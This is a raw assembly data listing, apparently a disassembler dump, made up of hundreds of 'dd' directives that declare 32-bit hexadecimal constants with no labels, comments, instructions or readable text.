		dd 0B1CA0734h, 8FB630A0h, 0B17CCA0h, 7F006A70h,	0E40408A3h
		dd 5DA43Eh, 6C63C0F1h, 1D66C292h, 82892A00h, 40967DEAh
		dd 0C888A829h, 85E4319Fh, 0F5C40818h, 1324396Ah, 50C01B09h
		dd 5C9B4AB7h, 0A0386887h, 1FF2AC09h, 355A5C81h,	8CC5065h
		dd 8500D8B0h, 32403036h, 673F6Dh, 0F5F4B7E9h, 0A6D1DAC7h
		dd 97907200h, 0F0D085Ah, 769E885Ch, 9300BA74h, 63B50C15h
		dd 48955687h, 0BF032830h, 88B9752h, 6A6E50F7h, 6F6A025h
		dd 0B8C1300Eh, 20FE8E73h, 725A64D9h, 0FFE9000Eh, 82754222h
		dd 0BF00B5B3h, 0A986F60h, 0F38A424h, 805AB840h,	0B419001Ch
		dd 44C75B8Eh, 0CC550500h, 7B1E0393h, 77720097h,	0A2E928ABh
		dd 860E84A0h, 20926AE8h, 1A4FA52Dh, 29F00098h, 0F1BAED7h
		dd 3403668Ch, 31A03722h, 6B4C88D9h, 0B97400C0h,	70DE027Dh
		dd 95004F07h, 0FEE9C2DFh, 251530Fh, 5D713F12h, 84F0B990h
		dd 0DB76AC00h, 79140ED6h, 0B2700F73h, 4C2E1317h, 0A080E7BFh
		dd 45E41DF1h, 800342F0h, 1EE04AA7h, 0B778D00Fh,	147E0E73h
		dd 161F7512h, 0DF480027h, 0BA2DB5D9h, 0AB54BFFAh, 5F0085C0h
		dd 0DE66DDC3h, 0F30A580h, 7AEF6938h, 59348036h,	95036D25h
		dd 0A11479B9h, 7F191D40h, 49C8D8F7h, 6E040129h,	0D066C08Dh
		dd 265A9080h, 0EFF5001Ah, 0E3B3B133h, 0A40ED8A3h, 208840ACh
		dd 25484E6Eh, 5A52004Dh, 0B234C8B8h, 0B100C272h, 8593B92Eh
		dd 48A30478h, 9E00ACA0h, 0DE7FCC6Ah, 430796D3h,	0C4F02254h
		dd 5E9D12C0h, 7D600AFh,	0EC11A66h, 19F26B8Ch, 9A50A300h
		dd 0F6D83243h, 897300E3h, 688DB971h, 0A9FE4A6Eh, 1C525800h
		dd 8B634956h, 5D3D0039h, 28FB2CA8h, 84002EC4h, 0C2AA32A9h
		dd 97B3B5BBh, 80A618A0h, 9F04A1C8h, 68CBAFC0h, 160030F8h
		dd 0AE6FDB18h, 0D1E777Ah, 0AC80DC4Ch, 46B041EAh, 16A57A84h
		dd 9288C9E2h, 5C43E484h, 0BB6782C0h, 0CC1C2000h, 975BC56h
		dd 0B4B58D9h, 357EC204h
		dd 0EFE88042h, 5E00BD79h, 1DF85612h, 0BEA6A9h, 66234068h
		dd 0D83AB71h, 0EEE75007h, 80478ABDh, 406E03D0h,	2E7B13A8h
		dd 0D2FB00B8h, 5C3EF49Dh, 94747D0Eh, 0C1634270h, 11D8602Dh
		dd 61EA009Bh, 0C5A1438Ah, 0E73855CCh, 0E2E503CFh, 0D99DB542h
		dd 86DD87DDh, 0F0420h, 627E2BE7h, 0AACADB3Fh, 68748400h
		dd 0C11E04F3h, 0ACDF48A1h, 0FC092F00h, 2CA27AEEh, 0D9FD300h
		dd 56A849E4h, 1E76F45Ah, 0C0AEFDA0h, 7FA5611Dh,	4BEEFC68h
		dd 0B01DF3F4h, 3B69F1h,	0B795062Bh, 0E5D18242h,	0FC1C5280h
		dd 0F13A7424h, 0F59D4300h, 57F221Eh, 18CF0061h,	6BED0EC8h
		dd 0A6004BE1h, 0B4A05854h, 244F13Dh, 8EA3712Ch,	0C840B7C8h
		dd 0AE007476h, 4BD70F13h, 1438ABB1h, 0DC4A4FEAh, 0C4210185h
		dd 0A887BAEAh, 6FB87930h, 57180282h, 0EFB11BD7h, 49013C56h
		dd 29A838ADh, 2017C820h, 682FEE12h, 889860E6h, 15320BD0h
		dd 0EB00116Eh, 0B73DEB80h, 643B3Fh, 902B9C57h, 17138ABEh
		dd 20ED10A9h, 7A82717Ch, 0FFCB390Eh, 385D8019h,	24BEA529h
		dd 39448EDh, 1CA70A25h,	2E9444B1h, 2B5C4C20h, 0F8904CF9h
		dd 0B262D900h, 1EED5A88h, 6F69F500h, 0BA2F3B49h, 5BAE003Dh
		dd 6DF02402h, 0E2004E74h, 0A5D2DD8Ch, 0F41C6Ah,	0D1665460h
		dd 8BC6EB11h, 623E1E00h, 0FD4C993Dh, 6BC42CE3h,	75370034h
		dd 67C5A6BBh, 80DA8A2Dh, 32BECB04h, 1EAE04B2h, 0ACEAF82Ch
		dd 0C970094h, 6F2FE6A0h, 0CD83253Dh, 763680E8h,	9B05BC00h
		dd 7D4B5911h, 24A0970Dh, 482EA3C4h, 0C73D2B00h,	62D890E0h
		dd 5A7F0B3Bh, 8480DC40h, 0FC1032Dh, 7A1A9200h, 35609DCFh
		dd 6B411E5Fh, 539B80C9h, 34ED458Bh, 15AD5D02h, 403EBDC0h
		dd 7A98B0h, 31B68428h, 0A72F6EF1h, 0D19874EAh, 1C0A47FAh
		dd 0C0D36AF7h, 12C8500h, 0E114D63h, 0C368B6DAh,	808DA425h
		dd 53DC12Bh, 0DC63EA03h, 0B88E3F15h, 0A420E6h, 0ECEE6429h
		dd 0ED2AF04h, 8300307Dh, 0B2CB74E4h, 0E2AB49CFh, 90120046h
		dd 4C587096h, 0F770A2C8h, 0E57B7500h, 6BD06AEBh, 0C4790042h
		dd 0F7A1990h, 0D907DBAEh, 0B225E29Dh, 9AF3CAF0h, 93A000D4h
		dd 0EA9796Eh, 4403DE0Ah, 0F2F7D578h, 0E1D1E9A5h, 84DCF6h
		dd 0D64C1C57h, 0E9007FEFh, 87E08D73h, 462C12h, 0AAC5AC22h
		dd 8E0B48BEh, 16E6BA3Ch, 0C480560Ch, 7FCAFF4h, 98148D43h
		dd 1A6FF0DEh, 69045351h, 0A8A7A175h, 2C752CB2h,	394D44Eh
		dd 0FD9F0D94h, 0B92F5298h, 0C709E4FCh, 88AC3626h, 183B945Eh
		dd 670FA40h, 0C8E300BEh, 0C2A33727h, 0A1DC1E7h,	0A740AEC7h
		dd 0FE501858h, 0FA1746Bh, 961EF8C6h, 9EC940DFh,	7626F429h
		dd 5F8690C0h, 4CA9AF49h, 800E503Eh, 0C9C04A5Ah,	0B2F9A48h
		dd 7582B603h, 0F98D9550h, 1EF09D93h, 0CCC3015Bh, 4F410E7Ah
		dd 0B817FF67h, 0D4000207h, 0C16186BCh, 0E05000F4h, 5619152Ah
		dd 0B7FA66h, 9BCCA730h,	2F400426h, 90DCC339h, 72F67C60h
		dd 5B15FC00h, 3D5A990Eh, 97780Ah, 0B3F8A65Dh, 4D5F44FAh
		dd 0C4DD9300h, 0BF372EE7h, 0B050E169h, 3F8F7F1h, 765E60D5h
		dd 34BBED11h, 1472FAC8h, 7707F471h, 0E7ADD555h,	7B081EC0h
		dd 73594C1Fh, 5D949700h, 2B57100Bh, 604C5500h, 6D3F5E34h
		dd 1FDA1FCBh, 0CEE4C1D5h, 0CEC74DC1h, 8283C454h, 4AC0EAFDh
		dd 7B3C0110h, 0C3A20A94h, 0C38087C2h, 7D46D8FEh, 0CFDCC519h
		dd 5DF86ECCh, 0D08304BFh, 0F0EC93DFh, 0D53EBDB4h, 4275A55Fh
		dd 7348C80Ch, 0FE30149h, 9B0ECB87h, 6D198442h, 2DC5B739h
		dd 4E7DB0F0h, 8038C415h, 0C6CF13E8h, 0C0780900h, 0A440BF8Eh
		dd 8B51CE6h, 0F8B989C4h, 0C19988C3h, 0D0013BE0h, 51900468h
		dd 0E66E618Eh, 84A0D9EBh, 7C5CF018h, 0F143A00h,	8B86DA19h
		dd 73A706D2h, 298CDE33h, 89456D00h, 6712B5DBh, 20480071h
		dd 0D55D6A38h, 0AD04ACC9h, 0A4C711CDh, 3E96ECE4h, 0E7808776h
		dd 3E2A4291h, 78009DAAh, 0F534B76Bh, 1F213745h,	0FB311851h
		dd 1D67238Eh, 2452D0E7h, 0C9D8809Ah, 79602146h,	93ECEB48h
		dd 0D3920094h, 0B7EA5271h, 85003BF4h, 44EE901Ch, 1B4E012h
		dd 0E1314616h, 0C45F411Ah, 2E0F93D3h, 0A043DF09h, 75667024h
		dd 0B7AC58D5h, 7892ED01h, 0C0E81077h, 0F40074FAh, 0E133BF6Ah
		dd 0E79C04E5h, 0C163Bh,	7D4F86CEh, 853FAB2Fh, 59DD8060h
		dd 48CF9CDFh, 426238C0h, 631BD980h, 9FE45A0Eh, 0B36F7A00h
		dd 2B73F130h, 0EEDF0081h, 0CC9CD533h, 1A72586Eh, 9A0E4A00h
		dd 7B3D2247h, 8C440078h, 579162B4h, 0CD00D46Ch,	301125DEh
		dd 16A3F5FDh, 49C6A7h, 0E20901E8h, 5118C5D2h, 0AA9E3F32h
		dd 8D640FC8h, 10C0493Bh, 0BF36CC88h, 81935425h,	0DF53B968h
		dd 92803FC1h, 8076CCBEh, 0EE249845h, 0AA16244Ch, 57BC4800h
		dd 796CB632h, 0BDDD00EAh, 1F63BEF3h, 7400CE47h,	7C31DFB3h
		dd 0F8166848h, 12580026h, 0A84A623Ch, 9D00FCB8h, 0DEAD94D3h
		dd 1CF0EB36h, 0C06F7F4Ch, 79D5DAEEh, 1B00CCA3h,	598CB1F6h
		dd 6BE8C9h, 2B23A67Ch, 9D6A3704h, 61005276h, 44683BB9h
		dd 2E5F906Ch, 81F440h, 3C5E834Fh, 5D39D16Ah, 8FF99629h
		dd 0B8ECA0h, 0ED9D54D6h, 0B2E76ADFh, 0FDA18200h, 0B93135B4h
		dd 39AE60ECh, 429F12BFh, 75C0B750h, 99894138h, 4D20930Ch
		dd 0F4DD16FCh, 6B900798h, 0B0EEA77Bh, 94D9A451h, 292B6F30h
		dd 90AE23Ah, 3B92EB58h,	10128C68h, 8F578D00h, 0E068899Dh
		dd 36B0082h, 7CF10765h,	61018EECh, 672BC971h, 0F453C476h
		dd 9863C88Bh, 1ED7004Bh, 0D357397Eh, 35006F1Fh,	0EAA9FBF7h
		dd 1033B88h, 3E530BA1h,	0C4CCEE94h, 0B0905DEFh,	0D10022F6h
		dd 1671C87Dh, 13F0903Ah, 18ACB54h, 0E5C6DCC5h, 0DB98E444h
		dd 21825800h, 603A5F8Bh, 4DD00E9Fh, 3827B50Dh, 4FE280D5h
		dd 0BA005BB4h, 3EDFCCD4h, 614B58h, 0AED00BBFh, 0E29BB00Dh
		dd 24FDEB03h, 0F063848Ah, 0E0073Ch, 0D374C042h,	60086921h
		dd 0BBA7EA07h, 90B20D83h, 9044F0C6h, 0AC450BFFh, 0C0480A5Ah
		dd 8C797E7Dh, 26012877h, 0A9353477h, 8FDCA678h,	68D528BEh
		dd 0E62402C8h, 0CE02E75Ch, 0D4906CF0h, 78189400h, 3B669BCDh
		dd 9AA02616h, 318A0F48h, 0D010A580h, 84001AF0h,	0C968627h
		dd 383D71Ch, 4066A788h,	0D0487ED4h, 0E60E0080h,	0D5D14652h
		dd 51800EAh, 0CF1AB9EDh, 493DFF11h, 0ABE7001Ch,	0B5F6AA80h
		dd 0F92A00B6h, 0B1303541h, 4B009E14h, 8E53E95h,	6187D9h
		dd 43BAB342h, 4CA58567h, 9E8E7000h, 25060153h, 9D041DBCh
		dd 0FFB5400Fh, 8B58DA3Bh, 0B1D47618h, 16882E0h,	0CB1B1FBAh
		dd 6EB7BD57h, 90929C41h, 0CFDFF0F5h, 28D93560h,	86F10002h
		dd 248E63C4h, 2713CB62h, 0E4C0FBBDh, 2C44B955h,	1782E9Ch
		dd 0DEF2151Bh, 28186401h, 7DBBF624h, 0A0959A0Ah, 2B00102Eh
		dd 0A6963874h, 82D00EAh, 0A1A741E1h, 5700DA48h,	0CA9FC522h
		dd 2CF14Ah, 8830B8ECh, 60458AEEh, 9D819305h, 90803B28h
		dd 3B9A57D6h, 378A6E30h, 0C40BCDh, 7081AA6Bh, 0E6024506h
		dd 0C889A20Ch, 0EAF4E308h, 80A87EA4h, 0DBE07BA7h, 7C00170Bh
		dd 8B98C935h, 0BC29275h, 2402F53Eh, 216E0860h, 791C2848h
		dd 0A27CA22Eh, 4F012C26h, 0EE683839h, 3113BC8h,	0E7E0067Eh
		dd 8F98EA47h, 9483ED4h,	0F7D1005Bh, 4F942F26h, 0F84E6E6h
		dd 5561F572h, 0A68CC052h, 58005EF6h, 0F4DB5117h, 90EE7Ah
		dd 1371F779h, 8174C61Eh
		dd 4700809Eh, 0F6032CC4h, 5DFB0356h, 9B8549A1h,	0E286E9B8h
		dd 8C07A290h, 1816960Eh, 54F5B6A0h, 0F82001Fh, 56D3EBADh
		dd 6B7EB731h, 84F9A91Ch, 0FF9E7480h, 7250EEEh, 6E720C18h
		dd 697CE0DAh, 5B271065h, 1428785Ah, 80E44F4Bh, 98C19660h
		dd 7006B05h, 7781A2D3h,	9050C28Fh, 39EF001Fh, 481666B8h
		dd 2703D4FFh, 88B9B46Dh, 1289E9Bh, 472FB72Eh, 809C78F2h
		dd 95517960h, 0F1FD72h,	0EAC8B409h, 8DB5777Ah, 0D29EA51Fh
		dd 373A20C0h, 3CF8D331h, 7C588183h, 80F6D81Eh, 22790FC0h
		dd 700E12D9h, 19CBB71h,	861A0AACh, 417A54F5h, 0B7988A5Ch
		dd 0E509CC4Eh, 25ED0100h, 0B84BC32Eh, 163C0035h, 4E7DF1FFh
		dd 0B752BA2h, 0FA004977h, 6F152AB3h, 4C95BCACh,	43011CCDh
		dd 0DBC23830h, 79DA7093h, 0FE74F409h, 0B1604017h, 34A903BEh
		dd 0FAA6A1F7h, 5C42F8C0h, 0E0965000h, 792FE8C3h, 0CA840028h
		dd 65065BD2h, 75026959h, 4A9C9B95h, 5E286A5Ah, 0D59F0048h
		dd 0F976DBAEh, 0AC434500h, 2EF38CE3h, 0D83B000Ch, 2C6C491Fh
		dd 294C4A26h, 0E685C80h, 0C307622Fh, 81F2051Ah,	90349A5Eh
		dd 51A32693h, 3CD00042h, 1387AC30h, 0EBB06907h,	6E10FA52h
		dd 579A8Ch, 793E0EEDh, 0B94AB188h, 5141B00h, 9F90DA13h
		dd 0C4812FA0h, 63696C01h, 4FD5F80Fh, 0BDFDDC00h, 0C7830B82h
		dd 444FC4Bh, 0A9CF6732h, 0E838A0F7h, 0B1C5AF00h, 45975AD0h
		dd 8D691E49h, 2E73C359h, 68D07C48h, 5F0261B8h, 0C823C164h
		dd 0FD18C880h, 0D7CE4C75h, 0CF5E3F73h, 1C0EB94Ch, 1AE08B7Ch
		dd 0E1174BC9h, 4920F600h, 3188893Eh, 0F1162C4Dh, 504A9824h
		dd 0B8039A76h, 77CE7E73h, 0DA84B03Bh, 7F9859h, 0B6834061h
		dd 0E59B45E4h, 29288106h, 11F5ACh, 0B23A237Ch, 2FA48D08h
		dd 71967301h, 2E0629C1h, 58608870h, 0F324F03Ah,	7CA70B58h
		dd 0D64DFCE0h, 78CF251Dh, 0E06DFC0h, 4DEF621h, 0E9398483h
		dd 0BCAC61h, 303E6A05h,	3E7FF24h, 0B1C05B3Bh, 492CA981h
		dd 27050C9Ah, 80E498D2h, 0A6F30114h, 0B79D9347h, 0A3612040h
		dd 41597300h, 89D62221h, 5081E124h, 72C979B9h, 0EEC0709Ah
		dd 0B3BE7807h, 0C3501243h, 0B0145D63h, 0F64825FCh, 4C2E1880h
		dd 5A012317h, 0FDE3CD1Ch, 23200296h, 2D0E0A14h,	8E50B292h
		dd 89A0B52Ch, 1985ED82h, 1F19300h, 0FBABEB6Eh, 2D400063h
		dd 385E6AB8h, 0F07372B0h, 88C4AAE0h, 8CB09311h,	5DD61F53h
		dd 0C73B8457h, 0FE11401Fh, 161ACBF0h, 458507h, 10F93C9Bh
		dd 33001C90h, 5A9B78EFh, 27749Ch, 2A1A4C9Ah, 0B54F19D8h
		dd 31C5F003h, 88603825h, 0B2D535Ch, 3382E83Dh, 4700ECF0h
		dd 0FD6C04B3h, 24108541h, 3A45A02h, 7BA0ADE1h, 84A9B6E8h
		dd 3DC06201h, 0E4284EFEh, 0FD1A60h, 8D8B3B7Ah, 0CFFFDC35h
		dd 34984398h, 22FE7516h, 693087h, 38F41CF8h, 61821606h
		dd 95AC004Ch, 18FEA00Ch, 84248801h, 0D9EA93D0h,	12F4FCCh
		dd 0D10F9E3Bh, 54CF72DFh, 23188290h, 48DA0D20h,	0E2B8003Ch
		dd 5C4CEDBEh, 0C8A8A083h, 7401BA31h, 2D0D6719h,	33C44D45h
		dd 92093022h, 70C93E20h, 91E44018h, 7EB1E610h, 20BE00FDh
		dd 350BC49Dh, 0B0007658h, 0A3F99141h, 367CBADh,	0C0A7D071h
		dd 0F4F0B8B9h, 7949A6A9h, 41B12DB4h, 0F8317E78h, 4C78093Fh
		dd 30944F2h, 0BE40E2h, 90E136C0h, 88664F2Ch, 4A241E3Ch
		dd 0E31C1FD4h, 4134AA98h, 134713Bh, 438BB78h, 604C50D4h
		dd 0A008130h, 9A5CD15Ah, 349C5A2h, 51B6F5D2h, 0E9802DDh
		dd 800CB403h, 11E1FF73h, 0C9AA00DEh, 0EA859D4Ch, 22005387h
		dd 0BC849702h, 0A959D0h, 0E234BE6Fh, 0A682D62Ch, 8E026606h
		dd 3A405053h, 83AE3064h, 521097Bh, 375D8480h, 0F23D75ADh
		dd 9B0077F5h, 5C14B8D0h, 58900B30h, 0DE00CC48h,	18FA8685h
		dd 7400E013h, 0F4BC77B3h, 41AC767h, 2711CB0Bh, 0A615C0D1h
		dd 0DA17EFBDh, 0ACB0ACE8h, 33CE2C54h, 0D16B04A9h, 59CA9CBh
		dd 509A47Eh, 49A6AC00h,	0EE3CC5h, 4FD89A04h, 0B67638A2h
		dd 0FD13B17h, 0CD69A040h, 90338858h, 3B59840h, 72BA2E0Eh
		dd 0F5973DB5h, 5E7F80C6h, 3F002948h, 9379CAABh,	1C729E0Eh
		dd 9FA7059Ch, 7B630157h, 303FC73Ah, 7D13AADCh, 3080AD8Dh
		dd 0FDA88A6h, 8F9759D6h, 29C08732h, 9FE804E4h, 9CF580h
		dd 1F8D15FBh, 0C4F1B067h, 60BEAA00h, 61166840h,	0D2AF0F0Ah
		dd 0C05C89A1h, 6AD54CC5h, 92E8998Ch, 38371D01h,	366CD230h
		dd 301E6Bh, 73D771B1h, 0A507F8D5h, 0DC319E2Eh, 0A8B8E913h
		dd 0BD3622BDh, 487C5490h, 18EB084Ch, 0E1837B1h,	8DDC18DBh
		dd 44A3505Fh, 81F8DE00h, 0C05848D1h, 6ABE0590h,	803617F3h
		dd 3DB796B6h, 0E3809CB1h, 0D1F0EFBCh, 498B2E4h,	5B61D5FAh
		dd 16CCAB4h, 0ACDBCF31h, 9060DED0h, 0E9990058h,	0A33E8FEBh
		dd 9A121C91h, 54B02674h, 1EEF7147h, 0CBCA23A4h,	18E489D9h
		dd 758DEE2h, 0BA9C080h,	3B05F77h, 6D06B87Dh, 19F168FCh
		dd 4DD824DCh, 0DB098CB2h, 0A33D3389h, 0A0FB992Ch, 58DD319h
		dd 0BD239804h, 0FA8C000Bh, 0A90F0DC6h, 43687512h, 0B52C64E2h
		dd 85E21DA8h, 0B8A6F1F0h, 0C7170314h, 0E42F2Ah,	0D1593A71h
		dd 0D61A7121h, 0B2575B77h, 53AA0C88h, 14E38916h, 905C27BAh
		dd 0B118644Ch, 5B8F2930h, 0E6FD7B03h, 0E7CF713Ch, 31104057h
		dd 503F8A96h, 7CFEFB37h, 68050080h, 7F0A11BBh, 0E20BC6B2h
		dd 0B1176E1Eh, 90DEF14h, 0E89C30ACh, 78B83A02h,	68EC3FC8h
		dd 2E9EC3ACh, 0BCFDA48h, 6879761Dh, 0E0838262h,	53CF58h
		dd 74F0F573h, 31380A9h,	59E22D01h, 39EDA472h, 5445DC4h
		dd 0CE6611Dh, 0FF7428A1h, 4BA1DB64h, 0E843E970h, 0C6820A05h
		dd 9C545918h, 8C663C68h, 993B5F2Ch, 7710C061h, 141C6343h
		dd 96A06E59h, 48C054E2h, 8626774Dh, 9F007EE3h, 0C5749DB9h
		dd 0F8EB00D7h, 2CDCB8CFh, 0EC91B14Ch, 0F2B9E501h, 0D9306B51h
		dd 5C52F0D6h, 5B2D9572h, 0F24AC880h, 0B0327C6h,	9F511BEBh
		dd 948EF028h, 21D30011h, 7939258Ah, 0BF3B434Bh,	1045A477h
		dd 9E680207h, 67556180h, 0E6A101D5h, 80D63CBAh,	0A0017FE9h
		dd 9E4CE008h, 9D97070h,	1938A91Ch, 0F5077489h, 1196E6D1h
		dd 2E50951Fh, 22D29AC0h, 198BFh, 64EBB029h, 0E8A2770Ch
		dd 0DB8DE107h, 90426747h, 0C4C4C070h, 0A6AD8896h, 14DECB00h
		dd 7A6C1321h, 0E4370B0Dh, 582A39E8h, 0C00516C7h, 0FAB1F0D8h
		dd 278D4113h, 0C8CE084Bh, 7FE6F60h, 7DF1AE6Ah, 518C0EAh
		dd 9807A5D9h, 48643F15h, 2CAC801Bh, 383E2642h, 670F81E9h
		dd 0B4C07075h, 4DD51519h, 97BD4100h, 0EBAC8A02h, 3D5DF663h
		dd 463D790Ch, 186FC3AEh, 0D4FC3801h, 80F61800h,	2F40967Eh
		dd 7779004Eh, 0BDEEAFCEh, 98012C1Ch, 9F83668Bh,	0B02BA592h
		dd 0F50E7FA3h, 601B8565h, 21CC6E3Eh, 92BD00F0h,	0B5CA6A6Dh
		dd 24027DE7h, 2D7E23FAh, 160F874h, 0CE9291DDh, 202EFCA6h
		dd 0C795A9A3h, 0F377900h, 28419709h, 0A0C97020h, 7E12010Dh
		dd 90404258h, 7A9FCB23h, 4D11C720h, 0EBF310F5h,	9200AB19h
		dd 0CEE39D0Fh, 0C030398Fh, 0FFA2C149h, 247CD5ACh, 5A9DE100h
		dd 81A62997h, 4C01F319h, 0DFD5C4F4h, 5882FCBCh,	43DCFBE4h
		dd 0A687C80Ch, 888CB10Ch, 9900B06Eh, 0B15B9F40h, 1CE9179Eh
		dd 0D4D0026h, 319B56D5h, 3E431107h, 7A20B077h, 0B62C28h
		dd 18F97DEBh, 53D64C9Ch
		dd 0D0345A1Fh, 8284EFCBh, 0F6E402C8h, 0C95D05B4h, 0CF8D0010h
		dd 0DF43A15Ah, 951D5C00h, 9A181737h, 0BF060087h, 0D891EAEDh
		dd 444EE2C3h, 0B8E934C3h, 9586374h, 0EB6622F4h,	7BD0EC40h
		dd 5A78A049h, 56D11C01h, 4C20E925h, 0CA4CB3h, 527DD606h
		dd 0FD4B217Ch, 0BF7B1801h, 0A064A104h, 0F4AA0780h, 0A899B8B7h
		dd 9AE0C291h, 0E0003AF1h, 0B6B32E80h, 0E2426A38h, 9ACB2F7h
		dd 0F8E3154Bh, 1300749Ch, 8D174BC2h, 92B6E409h,	5EB70C00h
		dd 21D19E42h, 323EED00h, 3DD6A236h, 0F58B0172h,	829A5AA5h
		dd 1A982CF1h, 51694C68h, 2890698Ch, 0B157BF5Ah,	0D0693144h
		dd 3B43E1h, 0B3B5BD5Ch,	0C21699F2h, 0A408C626h,	537B96C3h
		dd 0C68C28DCh, 2F03D0F2h, 27257E3Fh, 2E5DD080h,	1D563D63h
		dd 223769Ch, 3C069C41h,	90257640h, 3440B900h, 0F84041Dh
		dd 327B1CC2h, 980AC0B1h, 0E361B80Ch, 0C009EE00h, 0D3CC946Ah
		dd 0BD1218F5h, 75C11962h, 0D634AC0Dh, 0C0EE600Ch, 55A7Dh
		dd 0CD53E4A7h, 0C132AE71h, 3612D50Ch, 86AC690Bh, 0A9441B30h
		dd 3806135h, 97F96A22h,	47F0070Ch, 2E00299Dh, 16A16FACh
		dd 0A75FDFh, 0DC81A821h, 0C0667C05h, 0D67ABC00h, 0B8686C1Eh
		dd 75EC0032h, 8A581496h, 0DA726018h, 4200C5E6h,	0CEC20D45h
		dd 67BD62h, 8308858Fh, 0A158767Ch, 2E99A339h, 44005266h
		dd 73A6FA86h, 0D1C3008Bh, 926FCE26h, 7700A8AEh,	983E1A97h
		dd 0C15C78h, 57E74FC3h,	0B08349EDh, 4EBA5207h, 8920EEEAh
		dd 981CB6h, 1B703818h, 28B2ADB9h, 63419C0h, 0C94958h, 0FE3FD82Dh
		dd 8AE11003h, 8FCBAB01h, 0EF2B903Ah, 88149E10h,	11E53331h
		dd 4B20DE34h, 0B6A30035h, 83A878BBh, 0FE6CEF7h,	0EBF2880Ah
		dd 833E9C6Eh, 472DF582h, 385FF874h, 49041CC0h, 3D9187E0h
		dd 1C2100A2h, 830289C5h, 0B5A3C89Ah, 52CC8031h,	2ADC9E54h
		dd 0EE0A7F8h, 0EBF52A2Dh, 229DA5A0h, 1101297Dh,	3F20281Ch
		dd 69EC5383h, 87590305h, 0F4D3991Bh, 75A430EFh,	0A01E9E58h
		dd 0AB806896h, 0DCD8E42Ch, 0B3E8FCh, 2F0E8E1Ch,	243C6ACCh
		dd 189E7C03h, 0C8B00349h, 0FD1C097h, 7780DF37h,	0AF8D1360h
		dd 0CA0C573Dh, 6091C744h, 706E005Ch, 28865AC4h,	5000A6A8h
		dd 6BEF6C76h, 5F88F2h, 62909A98h, 0E1C5A2FDh, 0ED17D00h
		dd 34AFB393h, 47D4006Eh, 524E119Bh, 1800F29Ch, 54B8EC1Ch
		dd 2A45E0h, 5A045EBEh, 97581E3Ah, 711CA200h, 0CDC895E6h
		dd 2EE13A39h, 0E2BE9F03h, 50C77E03h, 5A461927h,	8E589075h
		dd 776902FEh, 4317BCBDh, 26BAB848h, 1D0100E6h, 7E9F82C3h
		dd 3E002262h, 0D8BBFCE4h, 0FE589848h, 8A943C2Bh, 301612h
		dd 52CEB474h, 67004D0Fh, 0C1E8AAB8h, 48EE2C7Fh,	0AB1F5C87h
		dd 2BF60081h, 0D53703B5h, 19C77800h, 15281389h,	0B28A016Ah
		dd 0B95FB440h, 68EC201Bh, 0DD041C00h, 8B696B3h,	0A14B0317h
		dd 829EFB81h, 7B9503FDh, 3100F226h, 77F9D92Fh, 9ED6A5h
		dd 0D0D20CB8h, 5F66FB22h, 4E1E011Eh, 0C7E60E43h, 0C3B0B7E8h
		dd 28F17ED5h, 48805B6Fh, 7DC7F883h, 0BF2320F7h,	609216C4h
		dd 15F57500h, 939FF94Dh, 8C050798h, 0A3D918B3h,	871FF8h
		dd 0A3AB0110h, 60C0E75h, 19F3257Ah, 0C8D00726h,	29538B96h
		dd 17A83400h, 7B0B7F9Bh, 1139A7h, 66E631F8h, 3292E6BDh
		dd 99980FC6h, 48241466h, 6200605Eh, 322C5A64h, 0A6EE006Eh
		dd 47D9EDC6h, 889A5999h, 0A49A0C00h, 3F27B315h,	537C58h
		dd 0F2FCD52Bh, 877A7D76h, 0B1255F00h, 644E21EEh, 7700033h
		dd 5255F366h, 0A000A87Fh, 4A750D0Bh, 0BD61D6h, 89D84780h
		dd 0F9A4C0E0h, 4F012A00h, 0AEE41EFCh, 0DB0CBh, 0C8786A9Dh
		dd 5BDDC51Bh, 6DB79500h, 0B8353F17h, 74064C67h,	13CF7B00h
		dd 9A460C8Eh, 0D65C8400h, 4325C342h, 6E4003Fh, 82A24C16h
		dd 0AEFEA424h, 48F2700Fh, 0C0F74028h, 11373Bh, 0C15F046h
		dd 0D9E3E08Fh, 0CCCB1F01h, 941ECDC3h, 0B0F9BEC8h, 0C29C0B18h
		dd 0B008EC5h, 0CC77F24Fh, 0EEAEC10Eh, 0B8077210h, 20307BF8h
		dd 72E4643Ch, 7C85009Ch, 4599114Eh, 0A51CFA67h,	0C881DE26h
		dd 633D2230h, 1F716F4h,	483AAF9Fh, 4015188Eh, 825EC5D8h
		dd 0C1004273h, 22FADF1Fh, 9A7EBEh, 34185888h, 79B3F4ECh
		dd 2DF0CF1Eh, 908C7200h, 2A10D2h, 0C3A96AF7h, 1D44065Bh
		dd 9287DB09h, 0FA40189h, 8D101BE5h, 3C00A479h, 9CD653FCh
		dd 8596EAh, 0EDCDC16Fh,	0BC4C8E89h, 3F03F098h, 880898C9h
		dd 0AF349040h, 0AB7100F3h, 90B810CDh, 3F77A17Ch, 62F9BA1Ch
		dd 0B2C6E0C1h, 402089FCh, 683A00A9h, 59D41CEh, 0FD03DF6Ch
		dd 647E0AA4h, 0C818A83Eh, 5D4007DAh, 8088D6ABh,	0B5EA7280h
		dd 51101E01h, 0B6A9B74Fh, 6803B0E7h, 0D66E306Ch, 0A8CB1D98h
		dd 0CF02DC98h, 0DA57B8C3h, 81C4C87Eh, 0D0A51683h, 418C5E8Eh
		dd 16E625E2h, 0CCB9EDD9h, 9E02489Dh, 19119388h,	0BED4E006h
		dd 41795Dh, 340CA96Fh, 3F5BCE86h, 0BA630101h, 900D213Bh
		dd 0A63DD980h, 8D662FCh, 72FF9900h, 129E386Ah, 4DD275D0h
		dd 0F01FC4ACh, 146C16h,	4A570614h, 0BD3AA4B2h, 223D80E3h
		dd 0FB97E67Eh, 0D7D930FFh, 3457A9D8h, 0C77984h,	0E418B4BCh
		dd 30150358h, 4009CB0h,	1311A6AEh, 0A065593h, 6F27F346h
		dd 227A00F4h, 0ABA9FAC4h, 0F5E7E8F3h, 14E83A12h, 8E953000h
		dd 242E1252h, 3BBCEFF1h, 6A4E00F9h, 3E828B8h, 830BC41Ch
		dd 3C0FF49h, 0A85C4214h, 0FAE0A2h, 93793B26h, 0ED14D68Ch
		dd 0C258AA0Ch, 12DF788Ah, 20F5ECB5h, 1038A830h,	7D832F00h
		dd 1DB6BEA4h, 42DF3E55h, 0D47878A5h, 2CB8C20Eh,	0C843D7D7h
		dd 0D034CBE0h, 0E8FCA0h, 50C29FFEh, 3ADB56Ah, 636081EEh
		dd 1A108A28h, 629602DAh, 5F3CE055h, 7B662EE0h, 722E3107h
		dd 0B80FABCh, 497AD57h,	50098688h, 0B01081F2h, 0E60FF45Eh
		dd 3A9280A0h, 25DC3Fh, 873130ECh, 1D98E167h, 0C49171C7h
